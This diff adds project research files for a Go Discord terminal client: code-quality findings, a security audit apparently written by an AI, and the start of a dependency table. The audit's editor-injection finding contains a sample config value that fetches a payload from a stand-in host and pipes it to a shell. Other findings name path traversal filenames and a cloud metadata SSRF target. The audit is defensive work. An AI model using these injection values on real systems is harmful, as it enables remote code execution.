+**Implementation Risk:** Low. Standard Go concurrency pattern upgrade.
+
+---
+
+### 11. Inconsistent Log Level Usage
+Multiple files -- Errors that represent user-facing failures are logged at different levels without consistency: `slog.Info` for failed keyring retrieval (`root/events.go:29`), `slog.Info` for failed avatar cache (`notifications.go:65`), `slog.Error` for failed presence lookup (`message_input.go:571-572`) which is actually a normal condition (presence not always available). The inconsistency makes log filtering unreliable.
+
+**Fix:** Establish a convention: `slog.Error` for failures that affect functionality (failed API calls, state corruption), `slog.Warn` for degraded-but-functional conditions (missing avatar, unknown presence), `slog.Info` for expected alternative paths (keyring not found, config file missing). Apply consistently across all files.
+
+**Implementation Risk:** Low. Log level changes have no functional impact but significantly improve operational debugging.
+
+---
+
+### 12. ✅ FIXED — Invalid Log Level Silently Defaults to Zero Value
+`cmd/root.go:29-39` -- The `switch` on `logLevel` has no `default` case. An invalid value like `--log-level=trace` silently results in `slog.Level(0)` which is `slog.LevelInfo`. The user gets no feedback that their log level was invalid.
+
+**Fix:** Add a `default` case that either returns an error (`return fmt.Errorf("unknown log level: %q", logLevel)`) or logs a warning and falls back to info.
+
+**Implementation Risk:** Low. Adds user feedback for misconfiguration.
+
+---
+
+## DOCUMENTATION GAPS
+
+### 13. No File-Level Comments on Most Source Files
+All `.go` files except `internal/cache/cache.go` lack a package-level doc comment explaining the file's purpose. For a new developer, understanding what `state.go`, `events.go`, `keybinds.go`, and `util.go` contain requires reading them entirely. The `internal/ui/chat/` package is particularly challenging with 10+ files and no file-level guidance.
+
+---
+
+### 14. No Documentation on the Event/Command Architecture
+`internal/ui/chat/model.go`, `internal/ui/chat/events.go`, `internal/ui/root/events.go` -- The application uses a custom event-driven architecture (tview.Event/tview.Command pattern) that is central to understanding the codebase. There is no documentation explaining: (a) how events flow from gateway to UI, (b) the Command pattern (returning closures from handlers), (c) the `listen()` loop pattern, or (d) how `tview.Batch` composes commands. A new developer cannot understand the control flow without reverse-engineering it.
+
+---
+
+### 15. No Documentation on the Rendering Pipeline
+`internal/markdown/renderer.go`, `internal/ui/chat/messages_list.go` -- The message rendering pipeline (Discord message -> goldmark AST -> tview.LineBuilder -> tview.Line with styled segments) is complex and undocumented. Key concepts like `styleStack`, `linkDepth`, `MergeStyle`, embed rendering with wrapping, and OSC 8 URL metadata have no explanatory comments.
+
+---
+
+### 16. Config Validation Rules Undocumented
+`internal/config/config.go:102-103` -- `AutocompleteLimit` and `MessagesLimit` are `uint8` types. The config.toml comment says "minimum and maximum value is 1 and 100" for `messages_limit`, but this constraint is not enforced in code. A user setting `messages_limit = 255` would silently exceed the Discord API limit. The `uint8` type provides implicit 0-255 range but the TOML comment claims 1-100.
+
+---
+
+## PERFORMANCE
+
+### 17. Unbounded itemByID Cache in messagesList
+`internal/ui/chat/messages_list.go:58` -- `itemByID map[discord.MessageID]*tview.TextView` caches rendered message TextViews and is only cleared on channel switch (`reset()`) or when messages are modified. For channels with heavy traffic, this map grows without bound as new messages arrive. Each `tview.TextView` holds rendered line data, styles, and a text buffer. Over a long session in a busy channel, this can accumulate thousands of entries.
+
+**Fix:** Add a size cap. When `len(itemByID) > maxCacheSize` (e.g., 500), evict entries for message IDs no longer in the current `messages` slice. Alternatively, clear the cache when it exceeds a threshold during `addMessage`.
+
+**Implementation Risk:** Low-medium. Cache eviction during message additions may cause brief re-rendering of older messages if the user scrolls up. The visual impact is negligible since re-rendering is the fallback path.
+
+---
+
+### 18. ✅ FIXED — collapseParentNode Uses O(n) Tree Walk
+`internal/ui/chat/guilds_tree.go:380-395` -- `collapseParentNode` walks the entire tree from root to find the parent of the given node, even though `GetPath(node)` (used in `canCollapseParent`) returns the full path including the parent. The O(n) walk runs on every `-` keypress.
+
+**Fix:** Use `gt.GetPath(node)` to get the parent directly: `path := gt.GetPath(node); if len(path) >= 3 { parent := path[len(path)-2]; ... }`. This is O(depth) instead of O(total nodes).
+
+**Implementation Risk:** Low. `GetPath` is already used in `canCollapseParent` and `expandPathToNode`, so it is a known-reliable method. Verify the path includes the root node as the first element.
+
+---
+
+### 19. Repeated Full-Tree GetPath Calls in canCollapseParent
+`internal/ui/chat/guilds_tree.go:134-145` -- `canCollapseParent` is called from both `ShortHelp()` and `FullHelp()`, which run on every draw cycle to update the help bar. Each call invokes `gt.GetPath(node)` which walks the tree. Combined with `ShortHelp` and `FullHelp` duplicating the node-state checks, the help bar triggers 2+ tree walks per render frame.
+
+**Fix:** Cache the path result for the current node, or compute `canCollapseParent` once and store it. Since the current node only changes on explicit user navigation, the cached value remains valid between navigation events.
+
+**Implementation Risk:** Low. Cache invalidation happens naturally when `SetCurrentNode` is called.
+
+---
+
+### 20. extractURLs Parses Message Content Twice
+`internal/ui/chat/messages_list.go:1094-1115` and `internal/ui/chat/messages_list.go:511-519` -- When rendering a message with embeds, `drawEmbeds` calls `extractURLs(message.Content)` to build a dedup set, and then `drawContent` also parses the same content through `discordmd.ParseWithMessage` for markdown rendering. The goldmark parser is invoked twice on the same content. For messages with complex markdown, this is measurable.
+
+**Fix:** Parse content once and pass both the rendered lines and the extracted URLs to the embed renderer. This requires restructuring `drawDefaultMessage` to call a combined parse+render function that returns both outputs.
+
+**Implementation Risk:** Medium. The rendering pipeline currently separates content rendering from embed rendering. Merging them requires careful handling of the `forceMarkdown` flag used in embed descriptions.
+
+---
+
+## INFRASTRUCTURE
+
+### 21. ✅ FIXED — CI Uses go-version: stable -- Not Pinned
+`.github/workflows/ci.yml:25` -- As documented in `research/TECHFILE.md` (finding #5), the CI uses `go-version: stable` which auto-advances when Go releases a new version. This can introduce unexpected breakage from new vet rules or behavior changes.
+
+**Fix:** Pin to `go-version: "1.26"` or `"1.26.x"`. Update intentionally when upgrading.
+
+**Implementation Risk:** None from pinning. The risk is the current unpinned behavior.
+
+---
+
+### 22. No Linter in CI
+`.github/workflows/ci.yml` -- The CI pipeline only runs `go test` and `go build`. There is no linter (`golangci-lint`, `staticcheck`, or `go vet` beyond what `go build` implicitly checks). Issues like unused variables, shadowed errors, and inefficient patterns are not caught in CI.
+
+**Fix:** Add a lint step using `golangci-lint` with a `.golangci.yml` config. Start with default linters (`vet`, `errcheck`, `staticcheck`, `unused`) and gradually enable more.
+
+**Implementation Risk:** Low for adding the step. Initial lint run may produce many findings that need to be triaged. Use `--new-from-rev=HEAD~1` for incremental enforcement during transition.
+
+---
+
+### 23. ✅ FIXED — CI Artifact Name Does Not Match Binary Name
+`.github/workflows/ci.yml:41-43` -- CI uploads artifact named `discordo_$OS_$ARCH` but the binary is `discordo` (or `discordo.exe`). The project README and CLAUDE.md refer to the binary as `discordo-plus`. There is a naming inconsistency between the upstream module path (`github.com/ayn2op/discordo`), the CI artifact name, and the intended installation name.
+
+**Fix:** Update the build step to `go build -trimpath -ldflags=-s -o discordo-plus .` (or `discordo-plus.exe` on Windows) to match the documented binary name. Update the artifact upload to reference the correct file.
+
+**Implementation Risk:** Low. Downstream users of CI artifacts will see the renamed binary. Scoop/AUR packages may need path updates.
+
+---
+
+## TEST COVERAGE
+
+### 24. Only 2 Packages Have Tests -- Minimal Coverage
+`internal/config/config_test.go`, `internal/keyring/keyring_test.go` -- Out of 12 internal packages, only 2 have any tests. Zero test coverage for: markdown rendering, clipboard operations, HTTP transport, notifications, cache, guild state persistence, UI components, embed processing, URL extraction, and the entire event handling pipeline.
+
+Critical untested code paths:
+- `cache.go:Get` -- can panic (finding #1)
+- `transport.go` -- body leak (finding #2)
+- `guildstate.go` -- JSON marshal/unmarshal roundtrip
+- `messages_list.go` -- `extractURLs`, `messageURLs`, `wrapStyledLine`, `unescapeMarkdownEscapes`, `linkDisplayText`, `sameLocalDate` are all pure functions ideal for unit testing
+- `config/theme.go` -- TOML unmarshaling for all wrapper types
+- `util.go` -- `MergeStyle`, `SortGuildChannels`, `ChannelToString`
+
+**Fix:** Prioritize tests for: (a) pure functions in messages_list.go (URL extraction, wrapping, escaping), (b) cache.go roundtrip and race conditions, (c) guildstate.go persistence roundtrip, (d) theme.go unmarshaling edge cases. These require no mocking and have clear input/output contracts.
+
+**Implementation Risk:** None. Tests are additive.
+
+---
+
+## POSITIVES
+
+- Go 1.26 module minimum is the latest stable release; dependency versions are current (see TECHFILE.md).
+- Error wrapping with `%w` is used consistently in config loading, HTTP transport, and attachment handling.
+- The event/command architecture cleanly separates I/O from UI updates; all gateway operations run in commands (closures), keeping the UI thread responsive.
+- Config defaults are embedded via `//go:embed`, eliminating runtime file-not-found failures.
+- Token storage uses the OS keyring (zalando/go-keyring) rather than plaintext files.
+- Guild state persistence uses proper mutex synchronization around both reads and writes.
+- The typing indicator implementation correctly uses `time.AfterFunc` with cleanup, preventing timer leaks.
+- `selectedChannelMu` RWMutex correctly protects the selected channel across goroutines.
+- The markdown renderer's style stack pattern is clean and handles nested formatting correctly.
+- The embed deduplication logic (`embedLineDedupKey`) prevents duplicate content across embed fields.
+- Platform-specific code uses Go's filename-based build tag convention cleanly (clipboard, editor, suspend).
+- The `ConfigurePicker` helper in `util.go` avoids duplicating picker setup across three picker types.
+- `wrapStyledLine` correctly uses grapheme cluster width via `uniseg` for accurate wrapping with wide glyphs and emoji.
+
+---
+
+## Summary
+
+| Severity | Total |
+|----------|-------|
+| Critical | 4 |
+| Code Quality | 8 |
+| Documentation Gaps | 4 |
+| Performance | 4 |
+| Infrastructure | 3 |
+| Test Coverage | 1 |
+| Compliance | N/A |
+
+---
+
+## Files Reviewed
+
+| # | File | Type |
+|---|---|---|
+| 1 | `main.go` | Entry point |
+| 2 | `cmd/root.go` | CLI / app init |
+| 3 | `internal/config/config.go` | Config struct + loader |
+| 4 | `internal/config/config.toml` | Embedded default config |
+| 5 | `internal/config/config_test.go` | Config tests |
+| 6 | `internal/config/keybinds.go` | Keybind definitions |
+| 7 | `internal/config/theme.go` | Theme TOML unmarshaling |
+| 8 | `internal/config/editor_unix.go` | Unix editor command |
+| 9 | `internal/config/editor_default.go` | Non-unix editor command |
+| 10 | `internal/consts/consts.go` | App name + cache dir |
+| 11 | `internal/logger/logger.go` | slog file logger |
+| 12 | `internal/keyring/keyring.go` | Token keyring wrapper |
+| 13 | `internal/keyring/keyring_test.go` | Keyring tests |
+| 14 | `internal/cache/cache.go` | Autocomplete cache |
+| 15 | `internal/http/transport.go` | HTTP transport (gzip + brotli) |
+| 16 | `internal/http/client.go` | API client constructor |
+| 17 | `internal/http/headers.go` | Request headers |
+| 18 | `internal/http/props.go` | Discord identify properties |
+| 19 | `internal/notifications/notifications.go` | Notification dispatch |
+| 20 | `internal/notifications/desktop_toast.go` | Non-darwin notification |
+| 21 | `internal/notifications/desktop_toast_darwin.go` | macOS notification |
+| 22 | `internal/clipboard/clipboard.go` | Clipboard format types |
+| 23 | `internal/clipboard/clipboard_default.go` | Default clipboard impl |
+| 24 | `internal/clipboard/clipboard_wayland.go` | Wayland clipboard impl |
+| 25 | `internal/markdown/renderer.go` | Discord markdown renderer |
+| 26 | `internal/ui/util.go` | Shared UI helpers |
+| 27 | `internal/ui/root/model.go` | Root model + help overlay |
+| 28 | `internal/ui/root/events.go` | Root events (token, clipboard) |
+| 29 | `internal/ui/root/keybinds.go` | Root keymap |
+| 30 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
+| 31 | `internal/ui/root/suspend_default.go` | No-op suspend |
+| 32 | `internal/ui/chat/model.go` | Chat model + layout |
+| 33 | `internal/ui/chat/state.go` | Gateway state commands |
+| 34 | `internal/ui/chat/events.go` | Chat event handlers |
+| 35 | `internal/ui/chat/keybinds.go` | Chat keymap |
+| 36 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree |
+| 37 | `internal/ui/chat/guildstate.go` | Guild expand persistence |
+| 38 | `internal/ui/chat/messages_list.go` | Message rendering + actions |
+| 39 | `internal/ui/chat/message_input.go` | Message input + mentions |
+| 40 | `internal/ui/chat/attachments_picker.go` | Attachment picker |
+| 41 | `internal/ui/chat/channels_picker.go` | Channel picker |
+| 42 | `internal/ui/chat/mentions_list.go` | Mentions autocomplete list |
+| 43 | `internal/ui/chat/util.go` | Picker config + humanJoin |
+| 44 | `internal/ui/login/model.go` | Login model |
+| 45 | `internal/ui/login/events.go` | Login events |
+| 46 | `internal/ui/login/keybinds.go` | Login keymap |
+| 47 | `internal/ui/login/token/model.go` | Token login form |
+| 48 | `internal/ui/login/token/events.go` | Token events |
+| 49 | `internal/ui/login/qr/model.go` | QR login model |
+| 50 | `internal/ui/login/qr/events.go` | QR login events + crypto |
+| 51 | `go.mod` | Module manifest |
+| 52 | `.github/workflows/ci.yml` | CI configuration |
+| 53 | `.gitignore` | Git ignore rules |
+| 54 | `README.md` | Project readme |
+| 55 | `CLAUDE.md` | Project context |
+| 56 | `internal/config/config.toml` | Default config (embedded) |

+ 279 - 0
research/SECFILE.md

@@ -0,0 +1,279 @@
+# Security Audit -- discordo-plus
+
+Audited: 2026-03-20 | Auditor: Claude (automated)
+
+---
+
+## CRITICAL
+
+_No critical vulnerabilities were found._
+
+---
+
+## HIGH
+
+### 1. ✅ FIXED — Path Traversal via Malicious Attachment Filenames
+`internal/ui/chat/messages_list.go:1202` -- The `downloadToCache` function joins a Discord-supplied `attachment.Filename` directly into a file path using `filepath.Join(dir, attachment.Filename)`. Discord attachment filenames are server-controlled metadata; a malicious or compromised Discord server, webhook, or bot could supply a filename containing path traversal sequences (e.g., `../../../.bashrc` or absolute paths on Windows). While `filepath.Join` on Go will clean `..` sequences on most platforms, it does NOT sanitize on all edge cases (e.g., a filename that is simply `..` followed by valid components, or Windows-specific `\` separators). The same vulnerable pattern appears at line 1346 in `saveAttachmentImage` where `attachment.Filename` is joined with the user-configured `image_save_dir`. On that path, an attacker-controlled filename could overwrite arbitrary files in the save directory tree.
+
+**Fix:** Sanitize the filename before joining. Extract only the base component and strip any path separators:
+```go
+safeName := filepath.Base(attachment.Filename)
+if safeName == "." || safeName == ".." || safeName == string(filepath.Separator) {
+    safeName = "attachment"
+}
+path := filepath.Join(dir, safeName)
+```
+Apply this to both `downloadToCache` (line 1202) and `saveAttachmentImage` (line 1346).
+
+**Implementation Risk:** Low. `filepath.Base` is the standard Go idiom for this. The only edge case is empty filenames (which `Base` returns as `.`), handled by the fallback. Existing cached files with clean filenames will continue to work.
+
+---
+
+### 2. Editor Config Value Enables Command Injection via TOML
+`internal/config/editor_unix.go:13` -- The `CreateEditorCommand` function on Unix constructs a shell command by concatenating `cfg.Editor` into a `sh -c` invocation: `exec.Command("sh", "-c", cfg.Editor+" \"$@\"", cfg.Editor, path)`. The `cfg.Editor` value comes from the user's `config.toml` file (`editor = "..."`). If a user sets `editor = "default"` and the `$EDITOR` environment variable contains shell metacharacters or a malicious value (e.g., set by a compromised `.bashrc` or a shared environment), arbitrary commands will be executed. Additionally, because the `editor` field accepts any string from TOML, a user who copies a config from an untrusted source could unknowingly set `editor = "vim; curl evil.com/payload | sh #"`, which would execute in a shell context.
+
+The `sh -c` pattern is intentional (it allows editor arguments like `nvim -u NONE`), but combining it with unsanitized input from both TOML config and `$EDITOR` env var creates a command injection surface.
+
+**Fix:** Validate that `cfg.Editor` does not contain shell metacharacters, or switch to `exec.Command` with explicit argument splitting. A safe approach:
+```go
+func (cfg *Config) CreateEditorCommand(path string) *exec.Cmd {
+    if cfg.Editor == "" {
+        return nil
+    }
+    parts := strings.Fields(cfg.Editor)
+    args := append(parts[1:], path)
+    return exec.Command(parts[0], args...)
+}
+```
+This eliminates the `sh -c` shell and prevents injection. It still supports `editor = "nvim -u NONE"` as space-separated arguments.
+
+**Implementation Risk:** Medium. This changes behavior for users who rely on shell features in their editor string (pipes, env expansion, etc.). Document that the editor field now uses direct argument splitting, not shell evaluation. The non-Unix `editor_default.go` already uses `exec.Command` directly and is not affected.
+
+---
+
+### 3. ✅ FIXED — Overly Permissive File Permissions (os.ModePerm / 0777)
+`internal/logger/logger.go:20,24`, `internal/consts/consts.go:25`, `internal/ui/chat/messages_list.go:1198,1341`, `internal/notifications/notifications.go:78` -- All `os.MkdirAll` and `os.OpenFile` calls use `os.ModePerm` (0777), which creates directories and files that are world-readable and world-writable. The log file at `~/.cache/discordo/logs.txt` is created with 0777 permissions. The log file records HTTP request URLs (which include the Discord API base but could contain query parameters in debug mode), error messages, and operational state. The attachment cache directory and saved images are also created with world-accessible permissions.
+
+On a multi-user Linux system, any local user can read the log file, cached attachments, saved images, and the guild state file. While the Discord token is not directly logged, `ws.EnableRawEvents = true` in debug mode could cause raw gateway events (which transit the token-authenticated WebSocket) to be processed, and error messages may leak partial request/response data.
+
+**Fix:** Use restrictive permissions:
+```go
+// Directories: 0700 (owner only)
+os.MkdirAll(dir, 0700)
+
+// Regular files: 0600 (owner only)
+os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
+```
+Apply consistently across all six call sites.
+
+**Implementation Risk:** Low. No other users or processes should need access to these files. Existing files will retain their current permissions until recreated.
+
+---
+
+## MEDIUM
+
+### 4. ✅ FIXED — Unbounded HTTP Response Body in Attachment Downloads
+`internal/ui/chat/messages_list.go:1191-1211` -- The `downloadToCache` function fetches an attachment via `http.Get(attachment.URL)` and copies the entire response body to disk with `io.Copy(file, resp.Body)`. There is no size limit. A malicious Discord message with an attachment URL pointing to an extremely large file (or a server that streams infinite data) could fill the disk. The same issue exists in `getCachedProfileImage` in `internal/notifications/notifications.go:93-99`.
+
+**Fix:** Use `io.LimitReader` to cap the download size:
+```go
+maxSize := int64(100 * 1024 * 1024) // 100 MB
+if _, err := io.Copy(file, io.LimitReader(resp.Body, maxSize)); err != nil {
+```
+Also check `resp.ContentLength` before starting the download when available.
+
+**Implementation Risk:** Low. Discord has its own attachment size limits (typically 25-100 MB depending on tier), so a 100 MB cap is generous. The only behavioral change is rejecting pathologically large responses.
+
+### 5. ✅ FIXED — Attachment Downloads Do Not Validate TLS or Content-Type
+`internal/ui/chat/messages_list.go:1191` and `internal/notifications/notifications.go:93` -- Both attachment and avatar downloads use `net/http.Get()` (the stdlib default client) rather than the project's custom `http.NewTransport()`. This means these HTTP calls bypass the project's transport configuration. While Go's default HTTP client does validate TLS certificates, the attachment URL is entirely server-controlled -- a malicious embed or attachment URL could point to `http://` (non-TLS) endpoints, local network addresses (SSRF to `http://169.254.169.254` for cloud metadata, `http://localhost:*` for local services), or file:// URIs.
+
+Additionally, `downloadToCache` does not validate the HTTP response status code -- a 404 or 500 response body would be silently written to disk and then opened in the image viewer.
+
+**Fix:** (a) Validate that the URL scheme is `https://` before fetching. (b) Check `resp.StatusCode` is 200 before writing. (c) Consider using the project's custom transport for consistency.
+```go
+parsed, err := url.Parse(attachment.URL)
+if err != nil || parsed.Scheme != "https" {
+    return "", fmt.Errorf("invalid attachment URL scheme: %s", attachment.URL)
+}
+// ... after http.Get:
+if resp.StatusCode != http.StatusOK {
+    return "", fmt.Errorf("unexpected status: %d", resp.StatusCode)
+}
+```
+
+**Implementation Risk:** Low. Discord CDN URLs are always HTTPS. This only blocks non-HTTPS URLs, which are either malicious or broken.
+
+### 6. ✅ FIXED — Image Viewer Config Allows Arbitrary Command Execution
+`internal/ui/chat/messages_list.go:1247-1257,1269` -- The `viewerArgs` function takes the `image_viewer` config value and uses it as the first argument to `exec.Command`. On the non-Unix code path (and even on Unix when not using `sh -c`), the viewer string is used directly as a binary name. If a user sets `image_viewer` to a value containing spaces (e.g., `image_viewer = "my viewer"`), only the first argument would be the binary name, but the heuristic at line 1248 (`strings.Contains(viewer, "mpv ")`) suggests the field is expected to be a simple binary name. The viewer value goes directly to `exec.Command(args[0], args[1:]...)` where `args[0]` is the unsanitized viewer string. Combined with a user-writable config file and the fact that the path argument comes from a downloaded (attacker-named) file, this chain could be exploited if the cached attachment path is crafted.
+
+However, since `exec.Command` does NOT invoke a shell and the path is a separate argument, the practical injection risk is limited to the config value itself (which the user controls).
+
+**Fix:** Validate that `image_viewer` resolves to an executable via `exec.LookPath` at config load time. Log a warning if it does not resolve:
+```go
+if cfg.ImageViewer != "" {
+    if _, err := exec.LookPath(cfg.ImageViewer); err != nil {
+        slog.Warn("image_viewer not found in PATH", "viewer", cfg.ImageViewer, "err", err)
+    }
+}
+```
+
+**Implementation Risk:** Low. This is a validation-only change. Users with valid viewer paths are unaffected.
+
+### 7. Debug Mode Enables Raw WebSocket Event Logging
+`cmd/root.go:31` -- When `--log-level=debug` is passed, `ws.EnableRawEvents = true` is set globally on the arikawa WebSocket library. This causes raw gateway event data to be processed and potentially logged. While the current `onRaw` handler in `state.go:24-31` only logs the event code and type (not the raw data -- the `event.Raw` line is commented out), the `EnableRawEvents` flag is a global setting that could be picked up by other arikawa internals or future code changes. Raw gateway events may contain user tokens in initial payloads, private message content, and other sensitive data. The log file is written with world-readable permissions (finding #3).
+
+**Fix:** Either (a) remove the `ws.EnableRawEvents = true` line entirely, since the handler already filters out raw data, or (b) ensure it is only enabled with an explicit `--enable-raw-events` flag that warns about the security implications. At minimum, fix the log file permissions (finding #3) to prevent other users from reading debug logs.
+
+**Implementation Risk:** Low. Removing `EnableRawEvents` has no impact on normal operation; it only disables the raw event hook that is already commented out in the handler.
+
+---
+
+## LOW
+
+### 8. ✅ FIXED — DISCORDO_TOKEN Environment Variable Visible to All Local Processes
+`internal/ui/root/model.go:88` -- The `DISCORDO_TOKEN` environment variable is checked before the keyring at startup. On Linux, environment variables of any process are readable by the same UID via `/proc/PID/environ`. Users who set this in `.bashrc` or `.zshrc` expose their Discord token to all processes running as the same user. This is documented in TECHFILE.md (item 8) but has no in-app warning.
+
+**Fix:** Log a warning at startup when `DISCORDO_TOKEN` is used:
+```go
+if token := os.Getenv(tokenEnvVarKey); token != "" {
+    slog.Warn("Using DISCORDO_TOKEN from environment. Environment variables are visible to all processes running as the same user. Consider using the keyring instead.")
+    cmd = tokenCommand(token)
+}
+```
+
+**Implementation Risk:** None. This is a logging-only change.
+
+### 9. ✅ FIXED — Guild State File Written Without Atomic Replacement
+`internal/ui/chat/guildstate.go:42-48` -- The `save()` method writes the guild state to `state.json` using `os.WriteFile`, which truncates and writes in place. If the application crashes or is killed during the write, the file will be partially written or empty, causing data loss on next load. While guild state is non-sensitive (only guild IDs and expand/collapse booleans), the non-atomic write could also cause a brief window where the file is empty and readable by other processes.
+
+**Fix:** Write to a temporary file in the same directory and rename atomically:
+```go
+tmp := stateFilePath + ".tmp"
+if err := os.WriteFile(tmp, data, 0644); err != nil { ... }
+if err := os.Rename(tmp, stateFilePath); err != nil { ... }
+```
+
+**Implementation Risk:** Negligible. `Rename` is atomic on POSIX systems. On Windows, it may require the target to not exist; use `os.Rename` which handles this on Go 1.26+.
+
+### 10. ✅ FIXED — Avatar Cache Path Uses Discord-Supplied Hash Without Sanitization
+`internal/notifications/notifications.go:82` -- The avatar image cache path is constructed as `filepath.Join(path, avatarHash+".png")` where `avatarHash` is a `discord.Hash` (string type) received from the Discord API. While Discord avatar hashes are typically hex strings, the type is an alias for `string` and could theoretically contain path separators if the API response is manipulated. The same `filepath.Base` sanitization from finding #1 should be applied.
+
+**Fix:** `avatarHash = filepath.Base(string(avatarHash))` before path construction.
+
+**Implementation Risk:** Negligible.
+
+---
+
+## INFORMATIONAL
+
+### 11. Commented-Out Local Replace Directives in go.mod
+`go.mod:5-7` -- The file contains commented-out `replace` directives pointing to local sibling directories (`../tview`, `../arikawa`). These are development conveniences but could confuse contributors or be accidentally uncommented, causing builds to use unvetted local code.
+
+**Fix:** Document these in CLAUDE.md (already done) and consider removing them from the committed go.mod, using `go.work` instead for local development.
+
+**Implementation Risk:** None.
+
+### 12. No Certificate Pinning for Discord API Connections
+The project relies on Go's default TLS verification for all Discord API and CDN connections. This is standard and acceptable for a desktop application, but provides no protection against a compromised CA issuing a fraudulent certificate for `discord.com`. Certificate pinning would add defense-in-depth but is not standard practice for TUI applications.
+
+**Fix:** No action needed. This is informational only.
+
+**Implementation Risk:** N/A.
+
+### 13. QR Login WebSocket Uses Default Dialer Without Custom TLS Config
+`internal/ui/login/qr/events.go:40` -- The QR login flow connects to `wss://remote-auth-gateway.discord.gg` using `websocket.DefaultDialer`, which uses Go's default TLS settings. This is functionally correct but does not benefit from the project's custom HTTP transport (gzip/brotli decompression).
+
+**Fix:** No action needed for security. The default TLS configuration in Go is secure.
+
+**Implementation Risk:** N/A.
+
+---
+
+## Summary
+
+| Severity | Total |
+|----------|-------|
+| Critical | 0     |
+| High     | 3     |
+| Medium   | 4     |
+| Low      | 3     |
+| Info     | 3     |
+
+## Top 3 Priorities
+1. **Path traversal via attachment filenames** (#1) -- Apply `filepath.Base` sanitization to all Discord-supplied filenames before file system operations. This is the most exploitable finding as it requires zero user interaction beyond viewing a message with a malicious attachment.
+2. **File permission hardening** (#3) -- Change all `os.ModePerm` usages to 0700/0600. This is a one-line fix at each call site that immediately reduces the local attack surface.
+3. **Editor command injection** (#2) -- Switch from `sh -c` shell invocation to direct `exec.Command` with argument splitting. This eliminates shell metacharacter injection from both TOML config and `$EDITOR`.
+
+## Positive Observations
+- Token storage via OS keyring (zalando/go-keyring) is the correct default approach, avoiding plaintext token storage
+- QR login uses proper RSA-2048 key generation with `crypto/rand`, SHA-256 OAEP decryption, and ephemeral key pairs
+- WebSocket connection to Discord remote auth gateway uses WSS (TLS)
+- Guild state persistence uses mutex correctly around all read/write operations
+- The `xdotool` geometry detection degrades gracefully when the tool is absent
+- Token is never logged -- `slog` calls related to token operations only log error messages, not the token value
+- Build uses `-trimpath` to strip local filesystem paths from the binary
+- The `sendMessageData` reference/mention handling correctly sets `AllowedMentions` to prevent unintended pings
+- TOML config parsing uses the well-maintained BurntSushi/toml library with no known vulnerabilities
+- Dependencies are overwhelmingly current (see TECHFILE.md) with no known CVEs in the active dependency set
+
+---
+
+## Files Reviewed
+
+_Every file reviewed, listed for coverage verification._
+
+| # | File | Type |
+|---|---|---|
+| 1 | `main.go` | Entry point |
+| 2 | `cmd/root.go` | CLI initialization |
+| 3 | `go.mod` | Module manifest |
+| 4 | `.gitignore` | Git config |
+| 5 | `.github/workflows/ci.yml` | CI pipeline |
+| 6 | `internal/config/config.go` | Config struct + loader |
+| 7 | `internal/config/config.toml` | Embedded default config |
+| 8 | `internal/config/config_test.go` | Config tests (grep) |
+| 9 | `internal/config/keybinds.go` | Keybind definitions |
+| 10 | `internal/config/theme.go` | Theme TOML types |
+| 11 | `internal/config/editor_unix.go` | Unix editor command |
+| 12 | `internal/config/editor_default.go` | Non-Unix editor command |
+| 13 | `internal/consts/consts.go` | Constants + cache dir |
+| 14 | `internal/keyring/keyring.go` | Token keyring access |
+| 15 | `internal/keyring/keyring_test.go` | Keyring tests (presence verified) |
+| 16 | `internal/logger/logger.go` | Log file setup |
+| 17 | `internal/http/transport.go` | Custom HTTP transport |
+| 18 | `internal/http/client.go` | API client factory |
+| 19 | `internal/http/headers.go` | HTTP header construction |
+| 20 | `internal/http/props.go` | Identify properties + super props |
+| 21 | `internal/clipboard/clipboard.go` | Clipboard types |
+| 22 | `internal/clipboard/clipboard_default.go` | Non-Linux clipboard |
+| 23 | `internal/clipboard/clipboard_wayland.go` | Wayland clipboard (wl-copy) |
+| 24 | `internal/cache/cache.go` | Completion cache |
+| 25 | `internal/markdown/renderer.go` | Markdown AST renderer |
+| 26 | `internal/notifications/notifications.go` | Notification dispatch |
+| 27 | `internal/notifications/desktop_toast.go` | Linux/Windows toast |
+| 28 | `internal/notifications/desktop_toast_darwin.go` | macOS notification |
+| 29 | `internal/ui/util.go` | UI utilities |
+| 30 | `internal/ui/root/model.go` | Root model + edit config |
+| 31 | `internal/ui/root/events.go` | Root events (token, keyring) |
+| 32 | `internal/ui/root/keybinds.go` | Root keybinds |
+| 33 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
+| 34 | `internal/ui/root/suspend_default.go` | Non-Unix suspend no-op |
+| 35 | `internal/ui/chat/model.go` | Chat model + state init |
+| 36 | `internal/ui/chat/messages_list.go` | Message rendering (1600 lines) |
+| 37 | `internal/ui/chat/message_input.go` | Message composition |
+| 38 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree |
+| 39 | `internal/ui/chat/guildstate.go` | Guild state persistence |
+| 40 | `internal/ui/chat/state.go` | Gateway state events |
+| 41 | `internal/ui/chat/events.go` | Chat event types |
+| 42 | `internal/ui/chat/keybinds.go` | Chat keybinds |
+| 43 | `internal/ui/chat/util.go` | Chat utilities |
+| 44 | `internal/ui/chat/attachments_picker.go` | Attachment picker |
+| 45 | `internal/ui/chat/channels_picker.go` | Channel picker |
+| 46 | `internal/ui/chat/mentions_list.go` | Mentions list |
+| 47 | `internal/ui/login/model.go` | Login model |
+| 48 | `internal/ui/login/events.go` | Login events |
+| 49 | `internal/ui/login/keybinds.go` | Login keybinds |
+| 50 | `internal/ui/login/token/model.go` | Token login form |
+| 51 | `internal/ui/login/token/events.go` | Token events |
+| 52 | `internal/ui/login/qr/model.go` | QR login model |
+| 53 | `internal/ui/login/qr/events.go` | QR login events + crypto |

+ 259 - 0
research/TECHFILE.md

@@ -0,0 +1,259 @@
+# Tech Stack Analysis — discordo-plus
+
+Analyzed: 2026-03-20 | Analyst: Claude (automated)
+
+---
+
+## CURRENT STACK
+
+| Layer | Package | Version in Use | Latest Stable | Status |
+|---|---|---|---|---|
+| Language | Go | 1.26 (module min) | 1.26.1 | Current |
+| TUI Framework | github.com/ayn2op/tview | v0.0.0-20260318094340 | v0.0.0-20260320 (pseudo) | Current |
+| Terminal Backend | github.com/gdamore/tcell/v3 | v3.1.2 | v3.1.2 | Current |
+| Discord API | github.com/diamondburned/arikawa/v3 | v3.6.1-0.20260311 (pseudo) | same series | Current |
+| Discord State | github.com/diamondburned/ningen/v3 | v3.0.1-0.20260306 (pseudo) | same series | Current |
